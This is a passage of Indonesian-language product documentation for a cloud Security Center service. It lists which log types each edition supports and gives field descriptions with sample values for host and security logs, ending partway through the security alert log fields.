All Products
Search

This Product

    Security Center:Jenis log dan deskripsi field

    Document Center

    Security Center:Jenis log dan deskripsi field

    Last Updated:Mar 05, 2026

    Fitur analisis log Pusat Keamanan menyediakan penyimpanan terpusat, kueri, dan analisis aktivitas host serta event keamanan untuk mendukung audit keamanan, pelacakan event, dan deteksi ancaman. Topik ini menjelaskan jenis log yang didukung oleh Pusat Keamanan, perbedaan antar edisi, field log, serta menyediakan contoh kueri.

    Dukungan versi

    Langganan

    Log host

    Kategorisasi log

    Basic

    Anti-virus

    Advanced

    Enterprise

    Ultimate

    Logon logs

    Not supported

    Supported

    Supported

    Supported

    Supported

    Network connection logs

    Not supported

    Supported

    Supported

    Supported

    Supported

    Process startup logs

    Not supported

    Supported

    Supported

    Supported

    Supported

    Brute-force attack logs

    Not supported

    Supported

    Supported

    Supported

    Supported

    DNS query logs

    Not supported

    Supported

    Supported

    Supported

    Supported

    Client event logs

    Supported

    Supported

    Supported

    Supported

    Supported

    Account snapshot logs

    Not supported

    Not supported

    Not supported

    Supported

    Supported

    Network snapshot logs

    Not supported

    Not supported

    Not supported

    Supported

    Supported

    Process snapshot logs

    Not supported

    Not supported

    Not supported

    Supported

    Supported

    Log keamanan

    Kategorisasi log

    Basic

    Anti-virus

    Advanced

    Enterprise

    Ultimate

    Security alert logs

    Supported

    Catatan

    Hanya alert yang didukung oleh edisi Basic yang direkam.

    Supported

    Supported

    Supported

    Supported

    Vulnerability logs

    Supported

    Catatan

    Hanya kerentanan yang didukung oleh edisi Basic yang direkam.

    Supported

    Supported

    Supported

    Supported

    Network defense logs

    Not supported

    Supported

    Supported

    Supported

    Supported

    Core file monitoring event logs

    Not supported

    Not supported

    Not supported

    Supported

    Supported

    CSPM - Baseline checks

    Not supported

    Not supported

    Supported

    Supported

    Supported

    Log layanan bernilai tambah

    Jika Anda mengaktifkan layanan bernilai tambah berikut, Pusat Keamanan dapat menganalisis log yang dihasilkannya.

    • Malicious File Detection

    • Agentless Detection

    • Application Protection

    • CSPM(Baseline Check logs and CSPM logs)

    Layanan bayar sesuai penggunaan

    Jika Anda membeli layanan bayar sesuai penggunaan Host and Container Security, jenis log yang didukung bervariasi tergantung pada tingkat perlindungan yang ditautkan ke server.

    Log host

    Kategorisasi log

    Unprotected

    Antivirus

    Host Protection

    Hosts and Container Protection

    Logon logs

    Not supported

    Supported

    Supported

    Supported

    Network connection logs

    Not supported

    Supported

    Supported

    Supported

    Process startup logs

    Not supported

    Supported

    Supported

    Supported

    Brute-force attack logs

    Not supported

    Supported

    Supported

    Supported

    DNS query logs

    Not supported

    Supported

    Supported

    Supported

    Client event logs

    Supported

    Supported

    Supported

    Supported

    Account snapshot logs

    Not supported

    Not supported

    Supported

    Supported

    Network snapshot logs

    Not supported

    Not supported

    Supported

    Supported

    Process snapshot logs

    Not supported

    Not supported

    Supported

    Supported

    Log keamanan

    Kategorisasi log

    Unprotected

    Antivirus

    Host Protection

    Hosts and Container Protection

    Security alert logs

    Supported

    Catatan

    Hanya alert yang didukung untuk level Unprotected yang direkam.

    Supported

    Supported

    Supported

    Vulnerability logs

    Supported

    Catatan

    Hanya kerentanan yang tidak dicakup oleh tingkat perlindungan yang direkam.

    Supported

    Supported

    Supported

    Network defense logs

    Not supported

    Supported

    Supported

    Supported

    Core file monitoring event logs

    Not supported

    Not supported

    Supported

    Supported

    Log Layanan Bayar Sesuai Penggunaan

    Jika Anda mengaktifkan layanan bayar sesuai penggunaan berikut, Pusat Keamanan dapat menganalisis log yang dihasilkannya.

    • Malicious File Detection

    • Agentless Detection

    • Application Protection

    • CSPM(Baseline Check logs and CSPM logs)

    Deskripsi jenis log

    Catatan

    Contoh log dan deskripsi field berikut hanya untuk referensi. Field spesifik dapat berubah seiring pembaruan produk. Untuk informasi paling akurat, rujuk data yang dikumpulkan di Simple Log Service.

    Log Host

    • Logon logs

      • __topic__: aegis-log-login

      • Isi log: Mencatat event login pengguna di server, termasuk alamat IP sumber, username, dan hasil login.

      • Deskripsi: Membantu Anda memantau aktivitas pengguna dan segera mengidentifikasi serta merespons perilaku abnormal.

        Penting

        Pusat Keamanan tidak mendukung pengumpulan logon logs untuk sistem operasi Windows Server 2008.

      • Periode pengumpulan: Real-time.

    • Network connection logs

      • __topic__: aegis-log-network

      • Isi log: Mencatat aktivitas koneksi jaringan di server secara real-time, termasuk informasi seperti 5-tuple koneksi dan proses terkait.

      • Deskripsi: Membantu Anda menemukan perilaku koneksi abnormal, mengidentifikasi potensi serangan jaringan, dan mengoptimalkan kinerja jaringan.

        Penting

        • Server hanya mengumpulkan beberapa status koneksi dari pembentukan hingga terminasi.

        • Trafik inbound tidak direkam.

      • Periode pengumpulan: Real-time.

    • Process startup logs

      • __topic__: aegis-log-process

      • Isi log: Mencatat event startup semua proses baru di server, termasuk informasi seperti nama proses, parameter command-line, dan proses induk.

      • Deskripsi: Membantu Anda memahami status startup dan konfigurasi proses dalam sistem serta mendeteksi masalah seperti aktivitas proses abnormal, intrusi malware, dan ancaman keamanan.

      • Periode pengumpulan: Real-time. Log dilaporkan segera setelah proses dimulai.

    • Brute-force attack logs

      • __topic__: aegis-log-crack

      • Isi log: Mencatat perilaku serangan brute-force, termasuk upaya login dan cracking terhadap sistem, aplikasi, atau akun.

      • Deskripsi: Membantu Anda mengidentifikasi serangan brute-force, mendeteksi login abnormal, kata sandi lemah, dan kebocoran kredensial. Log ini juga mendukung respons insiden dan analisis forensik.

      • Periode pengumpulan: Real-time.

    • Account snapshot logs

      • __topic__: aegis-snapshot-host

      • Isi log: Mencatat informasi detail tentang akun pengguna dalam sistem atau aplikasi, termasuk properti dasar akun seperti username, kebijakan kata sandi, dan riwayat login.

      • Deskripsi: Dengan membandingkan snapshot dari waktu yang berbeda, Anda dapat memantau perubahan akun dan segera mendeteksi masalah keamanan seperti akses tidak sah dan status akun abnormal.

      • Periode pengumpulan: Data dikumpulkan secara otomatis pada interval yang ditetapkan di Asset Fingerprints. Jika tidak ada interval yang ditetapkan, data dikumpulkan sekali sehari. Anda juga dapat mengumpulkan data secara manual.

    • Network snapshot logs

      • __topic__: aegis-snapshot-port

      • Isi log: Mencatat informasi koneksi jaringan, termasuk 5-tuple koneksi, status koneksi, dan proses terkait.

      • Deskripsi: Membantu Anda memahami koneksi jaringan aktif dalam sistem, menemukan perilaku koneksi abnormal, dan mengidentifikasi potensi serangan jaringan.

      • Periode pengumpulan: Data dikumpulkan secara otomatis pada interval yang ditetapkan di Asset Fingerprints. Jika tidak ada interval yang ditetapkan, data dikumpulkan sekali sehari. Anda juga dapat mengumpulkan data secara manual.

    • Process snapshot logs

      • __topic__: aegis-snapshot-process

      • Isi log: Mencatat aktivitas proses dalam sistem, termasuk ID proses, nama, dan waktu startup.

      • Deskripsi: Gunakan log ini untuk memahami aktivitas proses dan penggunaan sumber daya, serta mendeteksi masalah seperti proses abnormal, penggunaan CPU tinggi, dan kebocoran memori.

      • Periode pengumpulan: Data dikumpulkan secara otomatis pada interval yang ditetapkan di Asset Fingerprints. Jika tidak ada interval yang ditetapkan, data dikumpulkan sekali sehari. Anda juga dapat mengumpulkan data secara manual.

    • DNS query logs

      • __topic__: aegis-log-dns-query

      • Isi log: Mencatat permintaan kueri DNS yang diprakarsai oleh server, termasuk informasi seperti nama domain yang dikueri, tipe kueri, dan sumber.

        Penting

        Pengumpulan log tidak didukung untuk server Linux dengan versi kernel lebih awal dari 4.X.X.

      • Deskripsi: Gunakan log ini untuk menganalisis aktivitas DNS dan mendeteksi masalah seperti kueri abnormal, pembajakan domain, dan polusi DNS.

      • Periode pengumpulan: Real-time.

    • Agent event logs

      • __topic__: aegis-log-client

      • Isi log: Mencatat event online dan offline agen Pusat Keamanan.

      • Deskripsi: Membantu Anda memantau status berjalan agen Pusat Keamanan.

      • Periode pengumpulan: Real-time.

    Log keamanan

    Penting

    Semua log keamanan dikumpulkan secara real-time.

    • Vulnerability logs

      • __topic__: sas-vul-log

      • Isi log: Mencatat informasi tentang kerentanan yang ditemukan dalam sistem atau aplikasi Anda, termasuk nama kerentanan, status, dan tindakan penanganan.

      • Deskripsi: Membantu Anda memahami kerentanan, risiko keamanan, dan tren serangan dalam sistem sehingga Anda dapat mengambil langkah remediasi tepat waktu.

    • CSPM - Baseline check logs

      • __topic__: sas-hc-log

      • Isi log: Mencatat hasil pemeriksaan risiko baseline, termasuk informasi seperti level baseline, kategori, dan level risiko.

        Penting

        Hanya data untuk item pemeriksaan yang gagal pertama kali yang direkam. Data untuk item pemeriksaan yang sebelumnya lulus tetapi sekarang gagal dalam pemeriksaan baru juga direkam.

      • Deskripsi: Membantu Anda memahami status keamanan baseline dan potensi risiko dalam sistem Anda.

    • Security alert logs

      • __topic__: sas-security-log

      • Isi log: Mencatat event dan alert keamanan yang terjadi dalam sistem atau aplikasi Anda, termasuk sumber data alert, detail, dan level alert.

      • Deskripsi: Membantu Anda memahami event dan ancaman keamanan dalam sistem sehingga Anda dapat mengambil langkah respons yang sesuai.

    • CSPM - Cloud platform configuration check logs

      • __topic__: sas-cspm-log

      • Isi log: Mencatat informasi seperti hasil pemeriksaan konfigurasi platform cloud dan operasi daftar putih.

      • Deskripsi: Membantu Anda memahami masalah konfigurasi dan potensi risiko keamanan dalam platform cloud Anda.

    • Network defense logs

      • __topic__: sas-net-block

      • Isi log: Mencatat event serangan jaringan, termasuk informasi penting seperti tipe serangan dan alamat IP sumber/tujuan.

      • Deskripsi: Membantu Anda memahami event keamanan pada jaringan Anda sehingga Anda dapat mengambil langkah respons dan pertahanan untuk meningkatkan keamanan jaringan.

    • Application protection logs

      • __topic__: sas-rasp-log

      • Isi log: Mencatat informasi alert serangan dari Runtime Application Self-Protection (RASP), termasuk tipe serangan, data perilaku, dan alamat IP penyerang.

      • Deskripsi: Membantu Anda memahami event keamanan dalam aplikasi Anda sehingga Anda dapat mengambil langkah respons dan pertahanan untuk meningkatkan keamanan aplikasi.

    • Malware detection logs

      • Topic: sas-filedetect-log

      • Isi log: Mencatat hasil deteksi dari kit pengembangan perangkat lunak (SDK) deteksi malware, termasuk informasi file, skenario deteksi, dan hasil.

      • Deskripsi: Membantu Anda mengidentifikasi dan segera menangani program berbahaya dalam file offline atau penyimpanan cloud.

    • Core file monitoring event logs

      • Topic: aegis-file-protect-log

      • Isi log: Mencatat event alert yang dideteksi oleh fitur pemantauan file inti, termasuk path file, tipe operasi, dan level alert.

      • Deskripsi: Membantu Anda memantau apakah file inti dicuri atau dirusak.

    • Agentless detection logs

      • __topic__: sas-agentless-log

      • Isi log: Mencatat risiko keamanan yang terdeteksi di server cloud, snapshot disk, dan image. Risiko ini mencakup kerentanan, baseline, sampel berbahaya, dan file sensitif.

      • Deskripsi: Membantu Anda melihat status risiko keamanan aset Anda selama periode waktu yang berbeda untuk mengidentifikasi dan merespons potensi ancaman.

    Field log host

    Logon logs

    Nama bidang

    Deskripsi

    Contoh

    instance_id

    ID instans.

    i-2zeg4zldn8zypsfg****

    host_ip

    Alamat IP server.

    192.168.XX.XX

    sas_group_name

    Grup aset server di Pusat Keamanan.

    default

    uuid

    UUID server.

    5d83b26b-b7ca-4a0a-9267-12****

    src_ip

    Alamat IP server yang akan dilogin.

    221.11.XX.XX

    dst_port

    Port login server.

    22

    login_type

    Tipe login. Nilai valid meliputi tetapi tidak terbatas pada:

    • SSHLOGIN, SSH: Login SSH.

    • RDPLOGIN: Login desktop jarak jauh.

    • IPCLOGIN: Login koneksi IPC.

    SSH

    username

    Username login.

    admin

    login_count

    Jumlah login.

    Login berulang dalam satu menit digabung menjadi satu entri log. Misalnya, jika nilai login_count adalah 3, ini menunjukkan tiga login berulang dalam menit terakhir.

    3

    start_time

    Timestamp mulai dalam detik. Ini juga menunjukkan waktu ketika event terjadi.

    1719472214

    Network connection logs

    Nama field

    Deskripsi

    Contoh

    cmd_chain

    Rantai proses.

    [

    {

    "9883":"bash -c kill -0 -- -'6274'"

    }

    ......

    ]

    cmd_chain_index

    Indeks rantai proses. Gunakan indeks untuk mencari rantai proses.

    B184

    container_hostname

    Nama server dalam kontainer.

    nginx-ingress-controller-765f67fd4d-****

    container_id

    ID kontainer.

    4181de1e2b20c3397f1c409266dbd5631d1bc5be7af85246b0d****

    container_image_id

    ID image.

    registry-cn-beijing-vpc.ack.aliyuncs.com/acs/aliyun-ingress-controller@sha256:5f281994d9e71a1b1a087365271024991c5b0d0543c48f0****

    container_image_name

    Nama image.

    registry-cn-beijing-vpc.ack.aliyuncs.com/acs/aliyun-ingress-****

    container_name

    Nama kontainer.

    nginx-ingress-****

    container_pid

    ID proses dalam kontainer.

    0

    net_connect_dir

    Arah koneksi jaringan. Nilai valid:

    • in: Inbound.

    • out: Outbound.

    in

    dst_ip

    Alamat IP penerima koneksi jaringan.

    • Jika dir adalah out, ini adalah host peer.

    • Jika dir adalah in, ini adalah host lokal.

    192.168.XX.XX

    dst_port

    Port penerima koneksi jaringan.

    443

    instance_id

    ID instans.

    i-2zeg4zldn8zypsfg****

    host_ip

    Alamat IP server.

    192.168.XX.XX

    parent_proc_name

    Nama file proses induk.

    /usr/bin/bash

    pid

    ID proses.

    14275

    ppid

    ID proses induk.

    14268

    proc_name

    Nama proses.

    nginx

    proc_path

    Path proses.

    /usr/local/nginx/sbin/nginx

    proc_start_time

    Waktu startup proses.

    N/A

    connection_type

    Protokol. Nilai valid:

    • tcp.

    • raw (menunjukkan raw socket).

    tcp

    sas_group_name

    Grup aset server di Pusat Keamanan.

    default

    src_ip

    Alamat IP sumber.

    100.127.XX.XX

    src_port

    Port sumber.

    41897

    srv_comm

    Nama perintah yang terkait dengan proses kakek.

    containerd-shim

    status

    Status koneksi jaringan. Nilai valid:

    • 1: Ditutup.

    • 2: Mendengarkan permintaan koneksi.

    • 3: SYN dikirim.

    • 4: SYN diterima.

    • 5: Terbentuk.

    • 6: Menunggu penutupan.

    • 7: Menutup.

    • 8: FIN wait 1.

    • 9: FIN wait 2.

    • 10: Memberikan waktu cukup bagi peer untuk mengakui permintaan shutdown (time_wait).

    • 11: TCB dihapus.

    5

    type

    Tipe koneksi jaringan real-time. Nilai valid:

    • connect: Koneksi TCP aktif dimulai.

    • accept: Koneksi TCP diterima.

    • listen: Port dalam status mendengarkan.

    listen

    uid

    ID pengguna proses.

    101

    username

    Username proses.

    root

    uuid

    UUID server.

    5d83b26b-b7ca-4a0a-9267-12****

    start_time

    Timestamp mulai dalam detik. Ini juga menunjukkan waktu ketika event terjadi.

    1719472214

    Process startup logs

    Nama Field

    Deskripsi

    Contoh

    cmd_chain

    Rantai proses.

    [

    {

    "9883":"bash -c kill -0 -- -'6274'"

    }

    ......

    ]

    cmd_chain_index

    Indeks rantai proses. Gunakan indeks untuk mencari rantai proses.

    B184

    cmd_index

    Indeks setiap parameter dalam command line. Setiap pasangan indeks menunjukkan awal dan akhir parameter.

    0,3,5,8

    cmdline

    Command line lengkap untuk memulai proses.

    ipset list KUBE-6-CLUSTER-IP

    comm

    Nama perintah yang terkait dengan proses.

    N/A

    container_hostname

    Nama server dalam kontainer.

    nginx-ingress-controller-765f67fd4d-****

    container_id

    ID kontainer.

    4181de1e2b20c3397f1c409266dbd5631d1bc5be7af85246b0d****

    container_image_id

    ID image.

    registry-cn-beijing-vpc.ack.aliyuncs.com/acs/aliyun-ingress-controller@sha256:5f281994d9e71a1b1a087365271024991c5b0d0543c48f0****

    container_image_name

    Nama image.

    registry-cn-beijing-vpc.ack.aliyuncs.com/acs/aliyun-ingress-****

    container_name

    Nama kontainer.

    nginx-ingress-****

    container_pid

    ID proses dalam kontainer.

    0

    cwd

    Direktori tempat proses berjalan.

    N/A

    proc_name

    Nama file proses.

    ipset

    proc_path

    Path lengkap file proses.

    /usr/sbin/ipset

    gid

    ID grup proses.

    0

    groupname

    Grup pengguna.

    group1

    instance_id

    ID instans.

    i-2zeg4zldn8zypsfg****

    host_ip

    Alamat IP server.

    192.168.XX.XX

    parent_cmd_line

    Command line proses induk.

    /usr/local/bin/kube-proxy --config=/var/lib/kube-proxy/config.conf --hostname-override=cn-beijing.192.168.XX.XX

    parent_proc_name

    Nama file proses induk.

    kube-proxy

    parent_proc_path

    Path lengkap file proses induk.

    /usr/local/bin/kube-proxy

    pid

    ID proses.

    14275

    ppid

    ID proses induk.

    14268

    proc_start_time

    Waktu startup proses.

    2024-08-01 16:45:40

    parent_proc_start_time

    Waktu startup proses induk.

    2024-07-12 19:45:19

    sas_group_name

    Grup aset server di Pusat Keamanan.

    default

    srv_cmd

    Baris perintah dari proses kakek.

    /usr/bin/containerd

    tty

    Terminal login. N/A menunjukkan bahwa akun belum pernah login ke terminal.

    N/A

    uid

    ID pengguna.

    123

    username

    Username proses.

    root

    uuid

    UUID server.

    5d83b26b-b7ca-4a0a-9267-12****

    start_time

    Timestamp mulai dalam detik. Ini juga menunjukkan waktu ketika event terjadi.

    1719472214

    Brute-force attack logs

    Nama field

    Deskripsi

    Contoh

    instance_id

    ID instans.

    i-2zeg4zldn8zypsfg****

    host_ip

    Alamat IP server yang menjadi sasaran serangan brute-force.

    192.168.XX.XX

    sas_group_name

    Grup aset server di Pusat Keamanan.

    default

    uuid

    UUID server yang menjadi sasaran serangan brute-force.

    5d83b26b-b7ca-4a0a-9267-12*****

    login_count

    Jumlah login gagal.

    Login berulang dalam satu menit digabung menjadi satu entri log. Misalnya, jika nilai warn_count adalah 3, ini menunjukkan tiga login berulang dalam menit terakhir.

    3

    src_ip

    Alamat IP sumber untuk login.

    47.92.XX.XX

    dst_port

    Port login.

    22

    login_type

    Tipe login. Nilai valid:

    • SSHLOGIN, SSH: Login SSH.

    • RDPLOGIN: Login desktop jarak jauh.

    • IPCLOGIN: Login koneksi IPC.

    • SQLSERVER: Login SQL Server gagal.

    SSH

    username

    Username login.

    user

    start_time

    Timestamp mulai dalam detik. Ini juga menunjukkan waktu ketika event terjadi.

    1719472214

    Account snapshot logs

    Nama Bidang

    Deskripsi

    Contoh

    account_expire

    Waktu kedaluwarsa akun. never menunjukkan bahwa akun tidak pernah kedaluwarsa.

    never

    domain

    Domain atau layanan direktori tempat akun tersebut berada. N/A menunjukkan bahwa akun tidak termasuk dalam domain apa pun.

    N/A

    groups

    Grup tempat akun tersebut berada. N/A menunjukkan bahwa akun tidak termasuk dalam grup apa pun.

    ["nscd"]

    home_dir

    Direktori home. Ini adalah lokasi default untuk menyimpan dan mengelola file dalam sistem.

    /Users/abc

    instance_id

    ID instans.

    i-2zeg4zldn8zypsfg****

    host_ip

    Alamat IP server.

    192.168.XX.XX

    last_chg

    Tanggal terakhir kata sandi diubah.

    2022-11-29

    last_logon

    Tanggal dan waktu login terakhir ke akun. N/A menunjukkan bahwa akun belum pernah dilogin.

    2023-08-18 09:21:21

    login_ip

    Alamat IP remote login terakhir ke akun. N/A menunjukkan bahwa akun belum pernah dilogin.

    192.168.XX.XX

    passwd_expire

    Tanggal kedaluwarsa kata sandi. never menunjukkan bahwa kata sandi tidak pernah kedaluwarsa.

    2024-08-24

    perm

    Menunjukkan apakah akun memiliki izin root. Nilai valid:

    • 0: Akun tidak memiliki izin root.

    • 1: Akun memiliki izin root.

    0

    sas_group_name

    Grup aset server di Pusat Keamanan.

    default

    shell

    Perintah shell Linux.

    /sbin/nologin

    status

    Status akun pengguna. Nilai valid:

    • 0: Akun dilarang login.

    • 1: Akun dapat login secara normal.

    0

    tty

    Terminal login. N/A menunjukkan bahwa akun belum pernah login ke terminal.

    N/A

    username

    Username.

    nscd

    uuid

    UUID server.

    5d83b26b-b7ca-4a0a-9267-12****

    warn_time

    Tanggal pengingat kedaluwarsa kata sandi. never menunjukkan bahwa pengingat tidak pernah dikirim.

    2024-08-20

    start_time

    Timestamp mulai dalam detik. Ini juga menunjukkan waktu ketika event terjadi.

    1719472214

    Network snapshot logs

    Nama field

    Deskripsi

    Contoh

    net_connect_dir

    Arah koneksi jaringan. Nilai valid: in — inbound.

    in

    dst_ip

    Alamat IP peer, umumnya kosong.

    dst_port

    Port penerima koneksi jaringan.

    443

    instance_id

    ID instans.

    i-2zeg4zldn8zypsfg****

    host_ip

    Alamat IP server.

    192.168.XX.XX

    pid

    ID proses.

    682

    proc_name

    Nama proses.

    sshd

    connection_type

    Protokol. Nilai valid:

    • tcp4: Koneksi TCP melalui IPv4.

    • tcp6: Koneksi TCP melalui IPv6.

    tcp4

    sas_group_name

    Grup aset server di Pusat Keamanan.

    default

    src_ip

    Alamat IP lokal.

    100.127.XX.XX

    src_port

    Port yang mendengarkan.

    41897

    status

    Nilai 2 menunjukkan bahwa port sedang mendengarkan (listen), dan src_ip/src_port terkait merepresentasikan alamat yang mendengarkan.

    5

    uuid

    UUID server.

    5d83b26b-b7ca-4a0a-9267-12****

    start_time

    Timestamp mulai dalam detik. Ini juga menunjukkan waktu ketika event terjadi.

    1719472214

    Process snapshot logs

    Nama Field

    Deskripsi

    Contoh

    cmdline

    Command line lengkap untuk memulai proses.

    /usr/local/share/assist-daemon/assist_daemon

    instance_id

    ID instans.

    i-2zeg4zldn8zypsfg****

    host_ip

    Alamat IP server.

    192.168.XX.XX

    md5

    Hash MD5 file biner.

    Catatan

    Hash MD5 tidak dihitung untuk file proses yang lebih besar dari 1 MB.

    1086e731640751c9802c19a7f53a64f5

    proc_name

    Nama file proses.

    assist_daemon

    proc_path

    Path lengkap file proses.

    /usr/local/share/assist-daemon/assist_daemon

    pid

    ID proses.

    1692

    pname

    Nama file proses induk.

    systemd

    sas_group_name

    Grup aset server di Pusat Keamanan.

    default

    proc_start_time

    Waktu startup proses. Ini adalah field bawaan.

    2023-08-18 20:00:12

    uid

    ID pengguna proses.

    101

    username

    Username proses.

    root

    uuid

    UUID server.

    5d83b26b-b7ca-4a0a-9267-12****

    start_time

    Timestamp mulai dalam detik. Ini juga menunjukkan waktu ketika event terjadi.

    1719472214

    DNS query logs

    Nama Bidang

    Deskripsi

    Contoh

    domain

    Nama domain yang sesuai dengan kueri DNS.

    example.aliyundoc.com

    instance_id

    ID instans.

    i-2zeg4zldn8zypsfg****

    host_ip

    Alamat IP server yang memprakarsai kueri DNS.

    192.168.XX.XX

    pid

    ID proses yang memprakarsai kueri DNS.

    3544

    ppid

    ID proses induk yang memprakarsai kueri DNS.

    3408

    cmd_chain

    Rantai proses yang memprakarsai kueri DNS.

    "3544":"\"C:\\Program Files (x86)\\Alibaba\\Aegis\\AliDetect\\AliDetect.exe\""

    cmdline

    Command line yang memprakarsai kueri DNS.

    C:\Program Files (x86)\Alibaba\Aegis\AliDetect\AliDetect.exe

    proc_path

    Path proses yang memprakarsai kueri DNS.

    C:/Program Files (x86)/Alibaba/Aegis/AliDetect/AliDetect.exe

    sas_group_name

    Grup aset server di Pusat Keamanan.

    default

    time

    Waktu ketika event kueri DNS ditangkap. Waktu ini umumnya sama dengan waktu ketika kueri DNS terjadi.

    2023-08-17 20:05:04

    uuid

    UUID server yang memprakarsai kueri DNS.

    5d83b26b-b7ca-4a0a-9267-12****

    start_time

    Timestamp mulai dalam detik. Ini juga menunjukkan waktu ketika event terjadi.

    1719472214

    Client event logs

    Nama Bidang

    Deskripsi

    Contoh

    uuid

    UUID server.

    5d83b26b-b7ca-4a0a-9267-12****

    host_ip

    Alamat IP server.

    192.168.XX.XX

    agent_version

    Versi klien

    aegis_11_91

    last_login

    Timestamp login terakhir. Satuan: milidetik.

    1716444387617

    platform

    Tipe sistem operasi. Nilai valid:

    • windows

    • linux

    linux

    region_id

    ID wilayah tempat server berada.

    cn-beijing

    status

    Status agen. Nilai valid:

    • online

    • offline

    online

    start_time

    Timestamp mulai dalam detik. Ini juga menunjukkan waktu ketika event terjadi.

    1719472214

    Field log keamanan

    Vulnerability logs

    Nama Field

    Deskripsi

    Contoh

    vul_alias_name

    Alias kerentanan.

    CESA-2023:1335: openssl Security Update

    risk_level

    Level risiko. Nilai valid:

    • asap: Tinggi

    • Later: Medium

    • nntf: Rendah

    later

    extend_content

    Informasi tambahan tentang kerentanan.

    {"cveList":["CVE-2023-0286"],"necessity":{"gmt_create":"20230816","connect_cnt":80,"total_score":0.0,"assets_factor":1.0,"enviroment_factor":1.5,"status":"normal"},"os":"centos","osRelease":"7","preCheck":{},"rpmCanUpdate":true,"rpmEntityList":[{"fullVersion":"1.0.2k-25.el7_9","kernel":false,"matchDetail":"openssl-libs version less than 1.0.2k-26.el7_9","matchList":["openssl-libs version less than 1.0.2k-26.el7_9"],"name":"openssl-libs","nextResult":false,"path":"/etc/pki/tls","result":true,"updateCmd":"yum update openssl-libs","version":"1.0.2k-25.el7_9"},{"fullVersion":"1.0.2k-25.el7_9","kernel":false,"matchDetail":"openssl version less than 1.0.2k-26.el7_9","matchList":["openssl version less than 1.0.2k-26.el7_9"],"name":"openssl","nextResult":false,"path":"/etc/pki/CA","result":true,"updateCmd":"yum update openssl","version":"1.0.2k-25.el7_9"}]}

    instance_id

    ID instans.

    i-2zeg4zldn8zypsfg****

    internet_ip

    Alamat IP publik aset.

    39.104.XX.XX

    intranet_ip

    Alamat IP pribadi aset.

    192.168.XX.XX

    instance_name

    Hostname.

    hhht-linux-***

    vul_name

    Nama kerentanan.

    centos:7:cesa-2023:1335

    operation

    Tindakan yang dilakukan pada kerentanan. Nilai valid:

    • new: Baru

    • verify: Verifikasi

    • fix: Perbaiki

    new

    status

    Status. Nilai valid:

    • 1: Belum diperbaiki

    • 2: Gagal memperbaiki

    • 3: Gagal rollback

    • 4: Sedang memperbaiki

    • 5: Melakukan rollback

    • 6: Sedang memverifikasi

    • 7: Sudah diperbaiki

    • 8: Sudah diperbaiki, restart diperlukan

    • 9: Sudah di-rollback

    • 10: Diabaikan

    • 11: Sudah di-rollback, restart diperlukan

    • 12: Tidak ada

    • 13: Tidak valid

    1

    tag

    Tag kerentanan. Nilai valid:

    • oval: Kerentanan perangkat lunak Linux

    • system: Kerentanan sistem Windows

    • cms: Kerentanan Web-CMS

      Catatan

      Tag untuk tipe kerentanan lainnya adalah string acak.

    oval

    type

    Tipe kerentanan. Nilai valid:

    • sys: Kerentanan sistem Windows

    • cve: Kerentanan perangkat lunak Linux

    • cms: Kerentanan Web-CMS

    • emg: Kerentanan mendesak

    sys

    uuid

    UUID server.

    ad66133a-dc82-4e5e-9659-a49e3****

    start_time

    Timestamp mulai dalam detik. Ini juga menunjukkan waktu ketika event terjadi.

    1719472214

    CSPM - Baseline check logs

    Nama field

    Deskripsi

    Contoh

    check_item_name

    Nama item pemeriksaan.

    Setel interval minimum untuk perubahan kata sandi

    check_item_level

    Level pemeriksaan baseline. Nilai valid:

    • high: Tinggi

    • Medium: tingkat keparahan sedang.

    • low: Rendah

    medium

    check_type

    Tipe item pemeriksaan.

    Otentikasi identitas

    instance_id

    ID instans.

    i-2zeg4zldn8zypsfg****

    risk_level

    Level risiko item risiko. Nilai valid:

    • high: Tinggi

    • medium: Menengah.

    • low: Rendah

    medium

    operation

    Operasi. Nilai valid:

    • new: Baru

    • verity: validasi.

    new

    risk_name

    Nama item risiko.

    Pemeriksaan kepatuhan kebijakan kata sandi

    sas_group_name

    Grup aset server tempat item risiko terdeteksi di Pusat Keamanan.

    default

    status

    Status. Nilai valid:

    • 1: Gagal

    • 2: Memverifikasi

    • 6: Diabaikan

    • 7: Memperbaiki

    1

    sub_type_alias_name

    Alias subtipe.

    Praktik terbaik keamanan internasional - Pemeriksaan baseline keamanan Ubuntu 16/18/20/22

    sub_type_name

    Nama subtipe baseline. Untuk informasi lebih lanjut tentang nilai valid subtipe baseline, lihat Daftar tipe dan subtipe baseline.

    hc_ubuntu16_cis_rules

    type_alias_name

    Alias tipe.

    Praktik terbaik keamanan internasional

    type_name

    Tipe baseline. Untuk nilai valid tipe baseline, lihat Daftar tipe dan subtipe baseline.

    cis

    uuid

    UUID server tempat item risiko terdeteksi.

    1ad66133a-dc82-4e5e-9659-a49e3****

    start_time

    Timestamp mulai dalam detik. Ini juga menunjukkan waktu ketika event terjadi.

    1719472214

    Security alert logs

    Nama field

    Deskripsi

    Contoh

    data_source

    Sumber data. Nilai valid:

    • aegis_suspicious_event: Aktivitas anomali pada host

    • aegis_suspicious_file_v2: Webshell

    • aegis_login_log: Login anomali

    • honeypot: Event alert honeypot cloud

    • object_scan: Anomali deteksi file

    • security_event: Anomali Pusat Keamanan

    • sas_ak_leak: Event kebocoran AK

    aegis_login_log

    detail

    Objek JSON yang memberikan konteks detail untuk alert. Field dalam objek ini bervariasi berdasarkan tipe alert.

    Berikut menjelaskan field umum objek detail, seperti alert_reason (Alasan anomali):

    • reason1: Alamat IP bukan dari lokasi login umum.

    • reason2: Panggilan API gagal.

    • reason3: Alamat IP bukan dari lokasi login umum dan panggilan API gagal.

    {"loginSourceIp":"221.11.XX.XX","loginDestinationPort":22,"loginUser":"root","protocol":2,"protocolName":"SSH","clientIp":"192.168.XX.XX","loginTimes":1,"location":"Xi'an","type":"login_common_account","displayEventName":"Unusual Account Logon to ECS","status":0}

    instance_id

    ID instans.

    i-2zeg4zldn8zypsfg****

    internet_ip

    Alamat IP publik aset.

    39.104.XX.XX

    intranet_ip

    Alamat IP pribadi aset.

    192.168.XX.XX

    level

    Level risiko event alert. Nilai valid:

    • serious: Mendesak

    • suspicious: Mencurigakan.

    • remind: Pengingat

    suspicious

    name

    Nama alert.

    Anomalous Logon - Unusual Account Logon to ECS

    operation

    Operasi. Nilai valid:

    • new: Baru

    • dealing: Pemrosesan

    • update: Diperbarui

    new

    status

    Status alert. Nilai valid:

    • 1: Belum ditangani. Alert baru memiliki status ini.

    • 2: Diabaikan. Alert memiliki status ini setelah Anda mengabaikannya di konsol.

    • 8: Masuk daftar putih. Alert memiliki status ini setelah Anda menambahkannya ke daftar putih di konsol.

